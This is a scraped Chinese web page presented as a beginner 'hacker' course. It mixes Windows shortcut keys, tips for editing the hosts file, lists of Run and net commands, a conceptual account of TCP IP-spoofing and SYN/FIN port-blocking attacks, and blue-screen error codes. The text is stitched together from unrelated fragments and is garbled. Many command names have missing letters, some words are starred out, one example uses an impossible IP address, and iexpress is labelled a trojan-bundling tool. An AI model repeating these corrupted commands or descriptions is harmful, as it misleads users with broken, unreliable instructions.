CF打不开,原因是版本比较新,要下载新的cf客户端下载,或…

信息提示
您的同一ip请求过于频繁,如果希望继续访问,请输入验证码:
Copyright 1998 – 2010 Tencent. All Rights Reserved.作者:l李云龙 今天,我就开始为大家讲述怎么做好一个黑客,和黑客常用的知识必备。 那么,我们就从基础开始! 首先,告诉大家的是,这不是本小说,可能有点枯燥,但是你学会之后,绝对所向无敌! 我们开始课程! 特别提示:智商低于120的请勿阅读!以防走火入魔!谢谢! F1:如果你处在一个选定的程序中而需要帮助,那么请按下F1。如果现在不是处在任何程序中,而是处在资源管理器或桌面,那么按下F1就会出现Windows的帮助程序。如果你正在对某个程序进行操作,而想得到Windows帮助,则需要按下Win+F1。按下Shift+F1,会出现What\' This?的帮助信息。 F2:如果在资源管理器中选定了一个文件或文件夹,按下F2则会对这个选定的文件或文件夹重命名。 F3:在资源管理器或桌面上按下F3,则会出现“搜索文件”的窗口,因此如果想对某个文件夹中的文件进行搜索,那么直接按下F3键就能快速打开搜索窗口,并且搜索范围已经默认设置为该文件夹。同样,在WindowsMediaPlayer中按下它,会出现“通过搜索计算机添加到媒体库”的窗口。 F4:这个键用来打开IE中的地址栏列表,要关闭IE窗口,可以用Alt+F4组合键。 F5:用来刷新IE或资源管理器中当前所在窗口的内容。 F6:可以快速在资源管理器及IE中定位到地址栏。 F7:在Windows中没有任何作用。不过在DOS窗口中,它是有作用的,试试看吧! F8:在启动电脑时,可以用它来显示启动菜单。有些电脑还可以在电脑启动最初按下这个键来快速调出启动设置菜单,从中可以快速选择是软盘启动,还是光盘启动,或者直接用硬盘启动,不必费事进入BIOS进行启动顺序的修改。另外,还可以在***Windows时接受微软的***协议。 F9:在Windows中同样没有任何作用。但在WindowsMediaPlayer中可以用来快速降低音量。 F10:用来激活Windows或程序中的菜单,按下Shift+F10会出现右键快捷菜单。和键盘中A lication键的作用是相同的。而在WindowsMediaPlayer中,它的功能是提高音量。 F11:可以使当前的资源管理器或IE变为全屏显示。 F12:在Windows中同样没有任何作用。但在Word中,按下它会快速弹出另存为文件的窗口。 Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联 “数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即 打开对应网页,如果没有找到,则系统再会将网址提交DNS域名解析服务器进行IP地址的解析。 Hosts是一个没有扩展名的系统文件,可以用记事本等工具打开,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数 据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开 对应网页,如果没有找到,则系统再会将网址提交DNS域名解析服务器进行IP地址的解析。现在笔者就向大家介绍该文件的三个特殊妙用。 一、重新找回“失效”网址 提起这事笔者非常惭愧,前些天登录了几次搜狐的站点,可首页就是打不开,于是便料定搜狐可能由于内部什么调整而将服务器关 了,笔者甚至还幸灾乐祸的发短信向朋友们报告自己发现的“惊爆新闻”!当笔者知道在其他几乎所有的电脑上均能打开传说中的搜狐 网站而只有自己打不开时,笔者傻了,难道真的是朋友们说的“人品问题”…… 按照解决问题的常规,在运行框中输入“pingwww.sohu.com”,发现其返回的IP地址不是搜狐对应的“220.181.26.133”,而是莫 名其妙的“127.0.0.1”!至此真相大白,原来一些网页恶意脚本将笔者的Hosts文件进行了修改,即在Hosts文件中添加了一条 “127.0.0.1www.sohu.com”记录,当笔者在地址栏中输入搜狐的网址时,被系统解析出来的IP地址不是正确的“220.181.26.133”而 是“127.0.0.1”,所以自然就打不开了。 解决方法很简单,在c:\windows\system32\drivers\etc文件夹中找到Hosts文件并用记事本打开(Windows9x/Me系统在C:\ Windows文件夹中找),将其中的错误记录(如“127.0.0.1www.sohu.com”)或者全部记录删去,保存文件退出,这时再登录搜狐的站点 就应该畅通无阻了。 提示:如果用户感觉手工寻找Hosts文件及手工指定记事本工具打开Hosts文件??Hosts文件没有与Windows记事本建立关联??比较麻 烦,则可以在
下载并***“雅虎助手”,在其操作面板中打开“IE修复专家”,切换到“编辑Hosts 表”选项卡,软件会自动读取Hosts文件中的所有记录,用户可以通过勾选选中需要删除的错误记录并单击“删除”按钮或者干脆直接单 击“清空Hosts表”就行了,操作上更加直观和方便。当然在退出程序前一定要单击“立即保存”按钮哦。 二、自动屏蔽网页恶意插件 上网观看免费影视剧是笔者的一大爱好,前段时间经一个大侠朋友推荐,笔者终于又找到了一个很不错的免费在线电影站点,不过 在打开每一部电影播放页面前,站点均会弹出一个要求***百度工具条的网页并且不等用户同意便立即进入下载***状态!尽管这个网 页窗口可以一关了之,但要看的电影不是一部,每次都要连接下载肯定会影响正常网页的打开速度及正在播放视频的流畅。 通过观察,在各个电影播放页面中弹出的这个百度工具条***窗口都是同一网址,由于原网址较长,我们用 代替,下面我们打开系统文件夹中的Hosts文件,在文件中新开启一行,输入“0.0.0.0 ”(输入内容没有引号,但IP地址与网址间有空格),接下来将文件保存退出,当电影站点试图打开 页面时,系统会自动将其解析到“0.0.0.0”这样一个不可能存在的IP地址上,这样也就屏蔽了该网页插件。 提示: 1.用户可以用同样的方法将其他恶意插件、各种网页弹出广告和一些非法网站添加进Hosts文件进行彻底屏蔽。另外,如果用户需要 经常向Hosts文件添加屏蔽网址,则也可以不用每次进入系统目录中寻找Hosts文件:同样将“雅虎助手”切换到“编辑Hosts表”选项卡 ,单击“添加”按钮,这样便可以批量向Hosts文件添加屏蔽网址了。 2.大家是否经历过这样的怪事:在正常浏览网页或进行其他办公操作的过程中,IE每隔一段时间就会自动弹出整屏的网页广告并且 这些网页广告内容还会自动随机变换!不过网址的形式比较固定:比如
和 等,其实这是一种类似“Win32.Troj.PopWeb”的系列木马病毒,大家也可以按照上面的方法将这些网址解析 成“0.0.0.0”,从而摆脱病毒的骚扰。 三、一键登录局域网指定服务器 单位的“高工”在公司的局域网中建了个cs对战服务器,于是我们这些一人吃饱全家皆饱的单身汉便又有了在下班时间消遣的好去 处。不过有一点美中不足,局域网中没有再架设DNS服务器,所以我们每次只能输入IP地址进行登录,尽管只是数量不算多的一串数字, 但毕竟数字枯燥啊! 在这种情况下,我们可以通过修改Hosts文件来达到一键登录局域网CS服务器的目的:打开Hosts文件,同样在新开启的空白行中输 入“221.555.78.122aa.com”(假定221.555.78.122是CS服务器在局域网中的IP地址),这样我们以后只要输入“aa.com”就可以直接登 录局域网CS服务器了。 winver——检查Windows版本 wmimgmt.msc——打开windows管理体系结构(WMI) wupdmgr——windows更新程序 wscript——windows脚本宿主设置 write——写字板 winmsd——系统信息 wiaacmgr——扫描仪和照相机向导 winchat——XP自带局域网聊天 mem.exe——显示内存使用情况 Msconfig.exe——系统配置实用程序 mplayer2——简易widnowsmediaplayer m aint——画图板 mstsc——远程桌面连接 mplayer2——媒体播放机 magnify——放大镜实用程序 mmc——打开控制台 mo ync——同步命令 dxdiag——检查DirectX信息 drwt 32——系统医生 devmgmt.msc——设备管理器 dfrg.msc——磁盘碎片整理程序 diskmgmt.msc——磁盘管理实用程序 dcomcnfg——打开系统组件服务 ddeshare——打开DDE共享设置 dvdplay——DVD播放器 etstopme enger——停止信使服务 etstartme enger——开始信使服务 otepad——打开记事本 lookup——网络管理的工具向导 tbackup——系统备份和还原 arrator——屏幕“讲述人” tmsmgr.msc——移动存储管理器 tmsoprq.msc——移动存储管理员操作请求 etstat-an——(TC)命令检查接口 ynca ——创建一个公文包 ysedit——系统配置编辑器 igverif——文件签名验证程序 drec32——录音机 hrpubw——创建共享文件夹 ecpol.msc——本地安全策略 yskey——系统加密,一旦加密就不能解开,保护windowsxp系统的双重密码 ervices.msc——本地服务设置 Sndvol32——音罧刂瞥绦? fc.exe——系统文件检查器 fc/sca ow——windows文件保护 t hutdn——60秒倒计时关机命令 tourstart——xp简介(***完成后出现的漫游xp程序) taskmgr——任务管理器 eventvwr——事件查看器 eudcedit——造字程序 explorer——打开资源管理器 ackager——对象包装程序 erfmon.msc——计算机性能监测程序 rogman——程序管理器 regedit.exe——注册表 rsop.msc——组策略结果集 regedt32——注册表编辑器 rononce-p——15秒关机 regsvr32/u*.dll——停止dll文件运行 regsvr32/uzipfldr.dll——取消ZIP支持 cmd.exe——CMD命令提示符 chkdsk.exe——Chkdsk磁盘检查 certmgr.msc——***管理实用程序 calc——启动计算器 charmap——启动字符映射表 cliconfg——SQLSERVER客户端网络实用程序 Cli rd——剪贴板查看器 conf——启动netmeeting compmgmt.msc——计算机管理 cleanmgr——垃圾整理 ciadv.msc——索引服务程序 osk——打开屏幕键盘 odbcad32——ODBC数据源管理器 oobe/msoobe/a——检查XP是否激活 lusrmgr.msc——本机用户和组 logoff——注销命令 iexpre ——木马捆绑工具,系统自带 Nslookup——IP地址侦测器 fsmgmt.msc——共享文件夹管理器 utilman——辅助工具管理器 gpedit.msc——组策略 一些基本的命令往往可以在保护网络安全上起到很大的作用,下面几条命令的作用就非常突出。 检测网络连接 如果你怀疑自己的计算机上被别人***了木马,或者是中了病毒,但是手里没有完善的工具来检测是不是真有这样的事情发生,那可以使用windows自带的网络命令来看看谁在连接你的计算机。具体的命令格式是:netstat-an这个命令能看到所有和本地计算机建立连接的ip,它包含四个部分——proto(连接方式)、localaddre (本地连接地址)、foreignaddre (和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息,我们就可以完全监控计算机上的连接,从而达到控制计算机的目的。 禁用不明服务 很多朋友在某天系统重新启动后会发现计算机速度变慢了,不管怎么优化都慢,用杀毒软件也查不出问题,这个时候很可能是别人通过入侵你的计算机后给你开放了特别的某种服务,比如iis信息服务等,这样你的杀毒软件是查不出来的。但是别急,可以通过“netstart”来查看系统中究竟有什么服务在开启,如果发现了不是自己开放的服务,我们就可以有针对性地禁用这个服务了。方法就是直接输入“netstart”来查看服务,再用“netsto erver”来禁止服务。 轻松检查账户 很长一段时间,恶意的攻击者非常喜欢使用克隆账号的方法来控制你的计算机。他们采用的方法就是激活一个系统中的默认账户,但这个账户是不经常用的,然后使用工具把这个账户提升到管理员权限,从表面上看来这个账户还是和原来一样,但是这个克隆的账户却是系统中最大的安全隐患。恶意的攻击者可以通过这个账户任意地控制你的计算机。为了避免这种情况,可以用很简单的方法对账户进行检测。 首先在命令行下输入netuser,查看计算机上有些什么用户,然后再使用“netuser+用户名”查看这个用户是属于什么权限的,一般除了administrator是administrators组的,其他都不是!如果你发现一个系统内置的用户是属于administrators组的,那几乎肯定你被入侵了,而且别人在你的计算机上克隆了账户。快使用“netuser用户名/del”来删掉这个用户吧! 作为网络管理员,在实际维护网络的过程中,遇到网络故障几乎是一件不可避免的事情。从故障现象来看,有的网络故障解决办法是相通的,但从实际运行环境来看,解决相同现象的故障,方法可能迥然不同;如果我们在破解网络故障的过程中,不善于动脑筋,就容易受到一些常规教条的束缚,最终会导致网络故障破解效率不高。相反,如果我们能跳出框框,从平时很少会考虑到的盲点下手来破解网络故障的话,说不定能收到事半功倍的效果。下面是几则常见网络故障排除实例,和大家共享。 跳线下手 单位局域网网络建好已有一段时间,在这段时间中网络一直运行正常。可最近这几天,由于交换机上覆盖灰尘太多的原因或外界干扰方面的原因,局域网中经常有几台工作站不能正常上网,遇到这种现象时笔者常常只是简单地更换一下交换机的端口,或者只是对交换机与工作站网卡之间的连接线缆进行一下跳线就能消除无法上网的故障。 可这两天有一台工作站遇到相同的网络故障时,笔者尝试使用以前的解决方法来排除网络故障时,发现以前的方法竟然不管用了。后来,笔者又对该故障计算机到交换机之间的连接线路进行了详细检查,但始终没有发现可疑之处。在万般无奈之下,笔者在局域网交换机那边将跳线直接和网络测线仪进行连接,信息点那边直接和故障计算机相连,然后进行信号测试,结果发现网络测试仪控制面板中的1号灯、2号灯、3号灯、6号灯全部处于点亮状态。之后,当笔者直接将跳线和交换机中的某个端口相连接时,竟然发现故障计算机无法上网的故障现象立即消失了,而且经过了很多天后该计算机一直没有出现任何网络连接故障。通过这则网络故障的排除操作,我们不难看出当日后遇到用完常规方法还无法解决网络连接故障时,我们不妨尝试对连接线缆进行跳线,这说不定能够收到意想不到的效果。 走线下手 在局域网网络环境中,我们有时会遇到这样的网络故障,那就是某台工作站在正确登录进Windows系统中,并打开本地的网上邻居窗口后,只能从中看到本地计算机的名称,而无法看到局域网其他计算机的名称。通常情况下,在网上邻居窗口中只要能看到本地计算机名称,那就表明***在本地计算机中的网卡设备在硬件方面不存在问题,而且也能表明网卡的驱动程序***是正确的。在查看本地连接的其他属性参数时,发现各项参数配置都是正确的。在查看网络连接物理线路时,笔者看到连接该计算机的网络线缆留得很长,在布线的时候工作人员可能考虑到走线美观方面的因素,将多余的线缆相互捆扎在一起了,当笔者将捆在一起的线缆全部放开之后,再次进入网上邻居窗口中时,网上邻居窗口中不但出现了本地计算机名称,局域网中其他计算机名称也显示出来了。 后来查看网上的相关资料,笔者才发现当计算机使用普通的双绞线作为连接介质时,如果连接两个节点的双绞线线缆长度大于100米的话,那么网络通信信号就会产生大幅度地衰减,最终导致本地计算机无法与局域网进行正常通信。此外,双绞线线缆进行走线时,如果人为地将多余线缆相互捆扎在一起的话,那么网络连接通信线路就被人为地增加了数值不小的感抗,这样也容易导致信号在传输过程中出错。 预装下手 大家知道,在批量购置一些品牌电脑时,电脑供应商往往会为预装好Windows操作系统,而且会为我们直接配置好网络。可是当我们将这些预装好操作系统并配置好网络参数的电脑,接入到单位的局域网中时,发现网络连接很不稳定,经常是一会儿能上网一会儿又不能上网。检查那些上网不稳定的电脑时,我们发现这些电脑的网络参数配置得并没有任何错误。再检查这些电脑与交换机之间的物理连接线路时,笔者发现物理线路都是连通的,而且笔者不放心接头是否接触牢靠,特地把各个接头拔下来重新插拔了一下,可是这样努力还是无法消除电脑不能稳定上网的故障。后来笔者将那些有故障的电脑重新***了一下操作系统,并且按照原来的网络配置将它们的上网参数分别配置好,最后再将它们接入到局域网中。 总结这则网络故障现象,笔者认为购买大批量的电脑时,电脑供应商为了节约***系统的时间,他们往往会采用网络发送或硬盘克隆的方法,来帮助我们预先***好操作系统并配置好网络参数。殊不知一旦母机与子机中的各个元件***位置不一样或各个元件型号不完全一样的话,那么通过克隆方法***好的操作系统很有可能出现这样或者那样的问题,那么这些被克隆的电脑在实际工作过程中就容易出现不稳定的现象,网络连接不稳定的现象当然也属于这类问题之内了。因此,当我们在平时上网的过程中,如果遇到经常性地网络断线故障的话,不妨先通过常规方法来尝试排查网络连接故障原因,要是按这样的方法找不到明显故障原因的话,那就要考虑重新***一下操作系统了,这样往往能够将各种不明显的网络故障隐患全部清除掉。 收发下手 单位局域网是通过光纤收发器、路由器、交换机等网络设备连接光纤线路,来实现与本地电信部门直接互联的。最近这几天,单击局域网中的工作站相互之间访问时,连接速度很正常,可只要出去访问Internet网络时,我们就会发现网络连接速度明显慢了许多。碰到这种网络通信故障时,笔者认为多半是局域网的出口网络设备或者光纤线路出现了问题,查看光纤收发器、路由器这两种网络设备时,笔者看到它们的显示状态好象是正常的。为了准确找到网络连接的故障原因,笔者先将路由器设备与光纤收发器设备断开连接,然后将一台网络配置正确而且运行非常正常的。 笔记本电脑直接接入到光纤收发器设备中,然后在笔记本电脑中尝试进行Internet访问操作,结果笔者发现以一台单独主机的形式直接访问Internet网络还是不成功,这表明该网络连接故障与路由器设备无关,而很有可能与光纤线路或光纤收发器有关。那究竟是光纤收发器损坏了,还是连接局域网的宽带光纤线路出了问题呢?笔者***联系了本地电信部门的技术人员,请求他们帮忙测试一下光纤线路是否发生了短接或断裂现象,可是经过专业技术人员的技术测试后,发现光纤线路处于连通状态,这就进一步肯定了该网络故障是由光纤收发器引起的。可是光纤收发器一般接受处理的数据信号都是微弱信号,该设备没有特殊原因是不大容易被损坏的。后来笔者想起单位这几天市电输入电压不稳定,曾有部分电器设备不小心被烧坏过,于是笔者怀疑光纤收发器由于没有UPS电源保护,很有可能受到了不稳定输入电源的冲击。当尝试将光纤收发器设备更换掉之后,整个局域网中的所有工作站又都能正常访问Internet网络了,至此整个局域网不能访问Internet的故障现象就得到彻底排除了。从这则网络故障的排除过程来看,我们日后一旦用常规方法排查内部网络,没有发现什么问题的时候,一定要拓宽分析思路,从网络连接的收发部分出发,来逐步排查出收发部分的具体故障原因,而不能仅仅将眼光瞄准网络内部,不然的话很容易在解决网络故障的过程中多走若干弯路。 接头下手 某政府大楼局域网采用的是百兆桌面、千兆主干的网络拓扑结构,局域网使用的主交换机是CISCO品牌的Catalyst3550型号的产品,二级交换机全部使用的是Bay公司的产品。在实际运行过程中,我们有时会看到主交换机与部分二级交换机之间的网络通信不正常,导致许多工作站不能稳定地上网。碰到这种网络故障时,多数情况下都是光纤收发模块遇到了问题,通常只要将光纤收发模块重新更换或者将接口调换一下,就能把网络故障消除掉。如果这种方法不能将网络故障消除的话,还有一种方法值得我们尝试,那就是在主交换机那边将有故障的光纤头和没有故障的光纤头成组进行一下对调,而让模块保持不动,这样说不定能收到奇效。之所以调换接头能破解一些网络故障,这主要是网络通信过程相对比较复杂,运行环境不断处于变化之中,所以许多通信故障不一定都是物理故障,调换连接接头有时能给我们带来意想不到的效果。 1.最基本,最常用的,测试物理网络的 ing192.168.10.59-t,参数-t是等待用户去中断测试 2.查看DNS(对猫用户),还是比较有用处的 A.Win98:winipcfg B.Win2000以上:Ipconfig/all C.WinNt:CMD,然后NSLOOKUP 3.网络信使 Netsend计算机名/IP传送内容,注意不能跨网段 etstopme enger停止信使服务,也可以在面板-服务修改 etstartme enger开始信使服务 4.探测对方对方计算机名,所在的组、域及当前用户名 ing-aIP地址-t,只显示NetBios名 tstat-a192.168.10.146比较全的 5.netstat-a显示出你的计算机当前所开放的所有端口 etstat-s-e比较详细的显示你的网络资料,包括TCP、UDP、ICMP和IP的统计等 6.探测谁连接了我的计算机 arp-a 7.捆绑IP和MAC解决局域网内盗用IP的问题 ARP-s192.168.10.5900-50-ff-6c-08-75 8.在网络邻居上隐藏你的计算机 etconfigserver/hidden:yes etconfigserver/hidden:no则为开 9.几个net命令 A.显示当前工作组服务器列表netview,当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。 比如:查看这个IP上的共享资源,就可以 C:\> etview192.168.10.8 在192.168.10.8的共享资源 资源共享名类型用途注释—— 网站服务Disk 命令成功完成。 B.查看计算机上的用户帐号列表netuser C.查看网络链接netuse 例如:netusez:\\192.168.10.8\movie将这个IP的movie共享目录映射为本地的Z盘 D.记录链接netse ion 例如: C:\> etse ion 计算机用户名客户类型打开空闲时间—— \\192.168.10.110ROMEWindows20002195000:03:12 \\192.168.10.51ROMEWindows20002195000:00:39 命令成功完成。 10.路由跟踪命令 回复可见全部 A.tracertpop.pcpop.com B.pathpingpop.pcpop.com除了显示路由外,还提供325S的分析,计算丢失包的% 11.关于共享安全的几个命令 A.查看你机器的共享资源netshare B.手工删除共享 etsharec$Content$ /d etshared$Content$ /d etshareipc$Content$ /d etshareadmin$Content$ /d 注意$后有空格。 C.增加一个共享: c:\netsharemymovie=e:\downloads\movie/users:1 mymovie共享成功。 同时限制链接用户数为1人。 12.在DOS行下设置静态IP A.设置静态IP CMD etsh etshint interfaceip interfacei gt etadd本地链接" taticIP地址maskgateway B.查看IP设置 interfacei gt howaddre 互联网技术屏蔽了底层网络硬件细节,使得异种网络之间可以互相通信。TCP/IP协议组是目前使用最广泛的网络互连协议。但TCP/IP协议组本身存在着一些安全性问题。这就给“黑客”们攻击网络以可乘之机。 由于大量重要的应用程序都以TCP作为它们的传输层协议,因此TCP的安全性问题会给网络带来严重的后果。 1TCP状态转移图和定时器 TCP状态转移图控制了一次连接的初始化、建立和终止,该图由定义的状态以及这些状态之间的转移弧构成。TCP状态转移图与定时器密切相关,不同的定时器对应于连接建立或终止、流量控制和数据传输。几类主要的定时器及其功能如下: ●连接定时器:在连接建立阶段,当发送了SYN包后,就启动连接定时器。如果在75秒内没有收到应答,则放弃连接建立。 ●FIN-WAIT-2定时器:当连接从FIN-WAIT-1状态转移到FIN-WAIT-2状态时,将一个FIN-WAIT-2定时器设置为10分钟。如果在规定时间内该连接没有收到一个带有置位 FIN的TCP包,则定时器超时,再定时为75秒。如果在该时间段内仍无FIN包到达, 则放弃该连接。 ●TIME-WAIT定时器:当连接进入TIME-WAIT状态时,该定时器被激活。当定时器超时时,与该连接相关的内核数据块被删除,连接终止。 ●维持连接定时器:其作用是预测性地检测连接的另一端是否仍为活动状态。如果设置了SO-KEEPALIVE套接字选择项,则TCP机状态是ESTABLISHED或CLOSE-WAIT。 下面我们就着重讨论TCP状态转移图和定时器所带来的网络安全性问题。 2网络入侵方式 2.1伪造IP地址 入侵者使用假IP地址发送包,利用基于IP地址证实的应用程序。其结果是未授权的远端用户进入带有防火墙的主机系统。 假设有两台主机A、B和入侵者控制的主机X。假设B授予A某些特权,使得A能够获得B所执行的一些操作。X的目标就是得到与B相同的权利。为了实现该目标,X必须执行两步操作:首先,与B建立一个虚假连接;然后,阻止A向B报告网络证实系统的问题。主机X必须假造A的IP地址,从而使B相信从X发来的包的确是从A发来的。 我们同时假设主机A和B之间的通信遵守TCP/IP的三次握手机制。握手方法是: A→:SYN(序列号=M) B→A:SYN(序列号=N),ACK(应答序号=M+1) A→B:ACK(应答序号=N+1) 主机X伪造IP地址步骤如下:首先,X冒充A,向主机B发送一个带有随机序列号的SYN包。主机B响应,向主机A发送一个带有应答号的SYN+ACK包、该应答号等于原序列号加1。同时,主机B产生自己发送包序列号,并将其与应答号一起发送。为了完成三次握手,主机X需要向主 机B回送一个应答包,其应答号等于主机B向主机A发送的包序列号加1。假设主机X与A和B不同在一个子网内,则不能检测到B的包,主机X只有算出B的序列号,才能创建TCP连接。其过程描述如下: X→B:SYN(序列号=M),SRC=A B→A:SYN(序列号=N),ACK(应答号=M+1) X→B:ACK(应答号=N+1),SRC=A 同时,主机X应该阻止主机A响应主机B的包。为此,X可以等到主机A因某种原因终止运行,或者阻塞主机A的操作系统协议部分,使它不能响应主机B。 一旦主机X完成了以上操作,它就可以向主机B发送命令。主机B将执行这些命令,认为他们是由合法主机A发来的。 2.2TCP状态转移的问题 上述的入侵过程,主机X是如何阻止主机A向主机B发送响应在的,主机调通过发送一系列的SYN包,但不让A向调发送SYN-ACK包而中止主机A的登录端口。如前所述,TCP维持一个连接建立定时器。如果在规定时间内(通常为75秒)不能建立连接,则TCP将重置连接。在前面的例子中,服务器端口是无法在75秒内作出响应的。 下面我们来讨论一下主机X和主机A之间相互发送的包序列。X向A发送一个包,其SYN位和FIN位置位,A向X发送ACK包作为响应: X→A:SYNFIN(系列号=M) A→X:ACK(应答序号=M+1) 从图2的状态转移可以看出,A开始处于***(LISTEN)状态。当它收到来自X的包后,就开始处理这 个包。值得注意的是,在TCP协议中,关于如何处理SYN和FIN同时置位的包并未作出明确的规定。我们假设它首先处理SYN标志位,转移到SYN-RCVD状态。然后再处理FIN标志位,转移到CLOSE-WAIT状态。如果前一个状态是ESTABLISHED,那么转移到CLOSE-WAIT状态就是正常转 移。但是,TCP协议中并未对从SYN-RCVD状态到CLOSE-WAIT状态的转移作出定义。但在几种TCP应用程序中都有这样的转移,例如开放系统SUNOS4.1.3,SUR4和ULTRX4.3。因此,在这些TCP应用程序中存在一条TCP协议中未作定义的从状态SYN-RCVD到状态CLOSE-WAIT的转移弧,如图2所示。 在上述入侵例子中,由于三次握手没能彻底完成,因此并未真正建立TCP连接,相应的网络应用程序并未从核心内获得连接。但是,主机A的TCP机处于CLOSE-WAIT状态,因此它可以向X发送一个FIN包终止连接。这个半开放连接保留在套接字侦听队列中,而且应用进程不发送任何帮助TCP执行状态转移的消息。因此,主机A的TCP机被锁在了CL0SE-WAIT状态。如果维持活动定时器特征被使用,通常2小时后TCP将会重置连接并转移到CLOSED状态。 当TCP机收到来自对等主机的RST时,就从ESTABLISHED,FINWAIT-1和FIN-WAIT-2状态转移到CLOSED状态。这些转移是很重要的,因为它们重置TCP机且中断网络连接。但是,由于到达的数据段只根据源IP地址和当前队列窗口号来证实。因此入侵者可以假装成已建立了合法连接的一个主机,然后向另一台主机发送一个带有适当序列号的RST段,这样就可以终止连接了! 从上面的分析我们可以看到几种TCP应用程序中都存在外部状态转移。这会给系统带来严重的安全性问题。 2.3定时器问题 正如前文所述,一旦进入连接建立过程,则启动连接定时器。如果在规定时间内不能建立连接,则TCP机回到CLOSED状态。 我们来分析一下主机A和主机X的例子。主机A向主机X发送一个SYN包,期待着回应一个SYN-ACK包。假设几乎同时,主机X想与主机A建立连接,向A发送一个SYN包。A和X在收到对方的SYN包后都向对方发送一个SYN-ACK包。 当都收到对方的SYN-ACK包后,就可认为连接已建立。在本文中,假设当主机收到对方的SYN包后,就关闭连接建立定时器。 X→A:SYN(序列号=M) A→X:SYN(序列号=N) X→A:SYN(序列号=M),ACK(应答号=N+1) A→X:SYN(序列号=N),ACK(应答号=M+1) ●主机X向主机A发送一个FTP请求。在X和A之间建立起一个TCP连接来传送控制信号。主机A向X发送一个SYN包以启动一个TCP连接用来传输数据,其状态转移到SYN-SENT状态。 ●当X收到来自A的SYN包时,它回送一个SYN包作为响应。 ●主机X收到来自A的SYN-ACK包,但不回送任何包。 ●主机A期待着接收来自X的SYN-ACK。由于X不回送任何包,因此A被锁在SYN-RCVD状态。这样,X就成功地封锁了A的一个端口。 3利用网络监控设备观测网络入侵 我们在局域网上***一个网络监控设备观测通过网络的包,从而判断是否发生了网络入侵。下面我们将讨论在几种入侵过程中网络监控设备可观测到的序列包。 3.1伪造IP地址 最初,网络监控设备会监测到大量的TCPSYN包从某个主机发往A的登录端口。主机A会回送相应的SYN-ACK包。SYN包的目的是创建大量的与主机A的半开放的TCP连接,从而填满了主机A的登录端口连接队列。 大量的TCPSYN包将从主机X经过网络发往主机B,相应地有SYN-ACK包从主机B发往主机X。然后主机X将用RST包作应答。这个SYN/SYN-ACK/RST包序列使得入侵者可以知道主机B的TCP序列号发生器的动作。 主机A向主机B发送一个SYN包。实际上,这是主机X发送的一个“伪造”包。收到这个包之后,主机B将向主机A发送相应的SYN-ACK包。主机A向主机B发送ACK包。按照上述步骤,入侵主机能够与主机B建立单向TCP连接。 3.2虚假状态转移 当入侵者试图利用从SYN-RCVD到CLOSE-WAIT的状态转移长时间阻塞某服务器的一个网络端口时,可以观察到如下序列包: ●从主机X到主机B发送一个带有SYN和FIN标志位置位的TCP包。 ●主机B首先处理SYN标志,生成一个带有相应ACK标志位置位的包,并使状态转移到SYN-RCVD,然后处理FIN标志,使状态转移到CLOSE-WAIT,并向X回送ACK包。 ●主机X不向主机B发送其它任何包。主机的TCP机将固定在CLOSE-WAIT状态。直到维持连接定时器将其重置为CLOSED状态。 因此,如果网络监控设备发现一串SYN-FIN/ACK包,可推断入侵者正在阻塞主机B的某个端口。 3.3定时器问题 如果一入侵者企图在不建立连接的情况下使连接建立定时器无效,我们可以观察到以下序列包: ●主机X从主机B收到一个TCPSYN包。 ●主机X向主机B回送一个SYN包。 主机X不向主机B发送任何ACK包。因此,B被阻塞在SYN-RCVD状态,无法响应来自其它客户机的连接请求。 4总结 目前还没有十分简便的方法防止伪造IP地址的和侵行为。 前面几章讲了写基础东西,想必大家觉得枯燥,这一章给大家轻松一下,先教大家一点简单的黑客指令,还有很多我会在以后的章节给大家慢慢来! 使用Windows出现蓝色屏幕是经常的事,而且每每因为不清楚错误的来源而频繁重新***系统,劳神费时。下列收集了一些Windows死机密码,供大家参考。 0x0000操作完成 0x0001不正确的函数 0x0002系统找不到指定的文件 0x0003系统找不到指定的路径 0x0004系统无法打开文件 0x0005拒绝存取 0x0006无效的代码 0x0007内存控制模块已损坏 0x0008内存空间不足,无法处理这个指令 0x0009内存控制模块地址无效 0x000a环境不正确 0x000b尝试载入一个格式错误的程序 0x000c存取码错误 0x000d资料错误 0x000e内存空间不够,无法完成这项操作 0x000f系统找不到制定的硬盘 0x0010无法移除目录 0x0011系统无法将文件移到其他的硬盘 0x0012没有任何文件 0x0019找不到指定的扇区或磁道 0x001a指定的磁盘或磁片无法存取 0x001b磁盘找不到要求的扇区 0x001c打印机没有纸 0x001d系统无法将资料写入制定的磁盘 0x001e系统无法读取指定的装置 0x001f连接到系统的某个装置没有作用 0x0021文件的一部分被锁定 0x0024开启的分享文件数量太多 0x0026到达文件结尾 0x0027磁盘已满 0x0036网络繁忙 0x003b网络发生意外的错误 0x0043网络名称找不到 0x0050文件已经存在 0x0052无法建立目录或文件 0x0053int24失败 0x006b因为代用的磁盘尚未插入,所以程序已经停止 0x006c磁盘正在使用中或被锁定 0x006f文件名太长 0x0070硬盘空间不足 0x007f找不到指定的程序 0x045b系统正在关机 0x045c无法种植系统关机,因为没有关机的动作在进行中 0x046a可用服务器储存空间不足,无法处理这项指令 0x047e指定的程序需要新的Windows版本 0x047f指定的程序不是Windows或MS-DOS程序 0x0480指定的程序已经启动,无法再启动一次 0x0481指定的程序是为旧版的Windows所写的 0x0482执行此应用程序所需的程序库文件之一毁坏 0x0483没有应用程序与此项操作的指定文件建立关联 0x0484传送指令到应用程序发生错误 0x04b0指定的装置名称无效 0x05a2窗口不是子窗口 0x05aa系统资源不足,无法完成所要求的服务 0x05ab系统子还不足,无法完成所需要的服务 0x05ac系统资源不足,无法完成所要求的服务 0x06b9资源不足,无法完成操作 虽说Dos命令已是昨日黄花,但我们不少时候仍需要用到DOS命令,因此WindowsXP系统也还保留有“命令提示符”,不过整天面对黑底白字的界面实在有些心里不爽,下面我们就不错助任何外来工具,手工打造个性的“命令提示符”吧。(如下图) 第一步:先新建一个.cmd文件,文件名可以自定,我们命名为cmd.cmd吧,在里面输入以下内容: @echooff echoMicrosoftWindowsXP echo欢迎来到骑着驴裸奔的BLOG!!! echo今天是%date% echo现在已经是%time% title键盘上的烟灰个性cmd.exe color8F @echoon 